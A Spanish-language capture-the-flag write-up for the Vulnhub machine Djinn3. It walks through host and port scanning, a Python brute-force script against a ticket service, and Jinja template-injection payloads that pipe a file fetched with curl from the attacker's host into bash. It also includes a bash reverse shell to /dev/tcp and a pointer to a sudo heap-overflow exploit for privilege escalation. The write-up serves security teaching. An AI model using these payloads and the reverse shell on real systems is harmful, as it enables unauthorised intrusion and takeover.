Djinn3 | CTF Writeup - Vulnhub
Djinn3
Iniciamos un escaneo para descubrir hosts activos con la herramienta
netdiscover
.
1
2
3
4
5
6
7
8
9
10
> netdiscover -r 192.168.216.0/24 -P > discover.txt
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.216.2 00:50:56:e2:11:a1 1 60 VMware, Inc.
192.168.216.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.216.153 00:0c:29:57:bc:f8 1 60 VMware, Inc.
192.168.216.254 00:50:56:f1:73:59 1 60 VMware, Inc.
-- Active scan completed, 4 Hosts found.
Identificamos nuestro objetivo. En mi caso, la IP de la máquina víctima es la 192.168.216.153. Exportamos a una variable de entorno este valor por comodidad con el comando
export IP=192.168.216.153
.
Escaneamos los puertos abiertos de esta máquina con la herramienta
nmap
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Nmap 7.94 scan initiated Sun Mar 10 00:40:55 2024 as: nmap -sS -p- --open -Pn -n -T5 -vvv -oN scan.txt 192.168.216.153
Nmap scan report for 192.168.216.153
Host is up, received arp-response (0.20s latency).
Scanned at 2024-03-10 00:40:55 -03 for 66s
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
5000/tcp open upnp syn-ack ttl 64
31337/tcp open Elite syn-ack ttl 64
MAC Address: 00:0C:29:57:BC:F8 (VMware)
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Mar 10 00:42:01 2024 -- 1 IP address (1 host up) scanned in 66.55 seconds
Profundizamos nuestro escaneo empleando scripts básicos de reconocimiento propios de la herramienta
nmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Nmap 7.94 scan initiated Sun Mar 10 00:47:41 2024 as: nmap -sCV -p22,80,5000,31337 -oN services.txt 192.168.216.153
Nmap scan report for 192.168.216.153
Host is up (0.0016s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
| 256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
|_ 256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
80/tcp open http lighttpd 1.4.45
|_http-title: Custom-ers
|_http-server-header: lighttpd/1.4.45
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
31337/tcp open Elite?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
| username>
| GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
| username> password> authentication failed
| Help:
| username> password>
| RPCCheck:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in <module>
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
-----
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : ...
MAC Address: 00:0C:29:57:BC:F8 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 10 00:48:42 2024 -- 1 IP address (1 host up) scanned in 60.81 seconds
Lanzamos el script
http-enum
para encontrar rutas interesantes, pero no encontramos nada.
1
2
3
4
5
6
7
8
9
10
# Nmap 7.94 scan initiated Sun Mar 10 00:50:23 2024 as: nmap --script http-enum -p80,5000 -oN http-enum.txt 192.168.216.153
Nmap scan report for mzfr.me (192.168.216.153)
Host is up (0.00077s latency).
PORT STATE SERVICE
80/tcp open http
5000/tcp open upnp
MAC Address: 00:0C:29:57:BC:F8 (VMware)
# Nmap done at Sun Mar 10 00:50:38 2024 -- 1 IP address (1 host up) scanned in 15.15 seconds
Si analizamos la web con
whatweb
, podemos ver que se encuentra corriendo Python.
Vamos a intentar analizar la web que corre por el puerto 80. Es un sitio estático. Habla sobre unos ‘tickets’ y un sistema aparte, que puede ser el servicio que no reconoció
nmap
corriendo en el puerto 31337.
Si vamos a ver la web que corre por el puerto 5000, nos encontramos estos ‘tickets’.
Vemos una lista de posibles usuarios. Quizás tengamos que iniciar sesión con fuerza bruta por ssh. Seguimos investigando.
Si nos intentamos conectar con
nc
al puerto 31337 de la máquina víctima, veremos que nos pide una sesión con credenciales válidas. Para eso, desarrollamos un simple script en python que pruebe credenciales con mismo usuario y contraseña. El script es el siguiente:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
import socket,sys,signal
from termcolor import colored
import time
IP='192.168.216.153'
PORT=31337
def ctrl_c(sig,frame):
print(colored("[!] Exiting...", "red"))
sys.exit(1);
signal.signal(signal.SIGINT,ctrl_c)
def bruteforce():
with open("/usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt", "rb") as f:
for username in f.readlines():
username = username.strip();
password = username;
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.connect((IP,PORT));
data = s.recv(1024);
s.send(username + b"\n");
data = s.recv(1024);
s.send(password + b"\n");
response = s.recv(1024);
if(b'authentication failed' not in response):
print(f"[+] CREDENTIALS ARE {username}:{password}");
break;
else:
continue;
if __name__ == '__main__':
bruteforce();
Ejecutamos, y las credenciales válidas son las siguientes.
En caso de no haber podido, podíamos emplear Hydra o abrir el archivo
rockyou.txt
además de los usuarios para hacer fuerza bruta.
Este es el sistema de tickets. Bingo. Como la web está corriendo Python, seguramente con Flask, es probable que se efectúe una Server Side Template Injection.
Abrimos un ticket nuevo, y colocamos el siguiente payload:
\{\{ 4 * 4 \}\}
. Esto debería representar 16 en la web.
Perfecto. Ahora buscamos en PayloadAllTheThings alguna forma de inyectar comandos en esta máquina. Elegimos el siguiente payload:
` {{ self.init.globals.builtins.import(‘os’).popen(‘whoami’).read() }} `.
En la web se ve reflejado el siguiente resultado.
Ahora solo queda mandarnos una shell. Aplicamos el siguiente payload:
` {{ lipsum.globals[“os”].popen(‘curl http://192.168.216.133/revshell.sh | bash’).read() }} `
revshell.sh
es un archivo que contiene el siguiente contenido:
1
2
3
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.216.133/443 0>&1'
Abrimos un servidor web con python aplicando el comando
python3 -m http.server 80
, de esta manera hacemos que la máquina víctima haga una petición web concurl
a nuestro archivo y lo interprete con bash. A su vez, nos ponemos en escucha con el comandonc -nlvp 443
.
Mandamos el payload en el servicio de ticketing, y abrimos el nuevo ticket en la página.
Ganamos acceso a la máquina. Ahora, hacemos una enumeración del sistema con una herramienta como
LinPEAS
. Desde la consola, hacemos uncurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
.
LinPEAS
nos reporta que la versión de sudo es vulnerable a un Buffer Overflow basado en el Heap. Buscamos exploits para las versiones de sudo 1.8.21p, y encontramos este artículo. Buscando por exploits que nos faciliten escalar privilegios, encontré este repositorio de github: https://github.com/blasty/CVE-2021-3156. Nos traemos el repositorio a la máquina y intentamos explotar esta vulnerabilidad.
Ejecutamos el script generado.
Listo! Escalamos a root. Ahora queda ver la flag.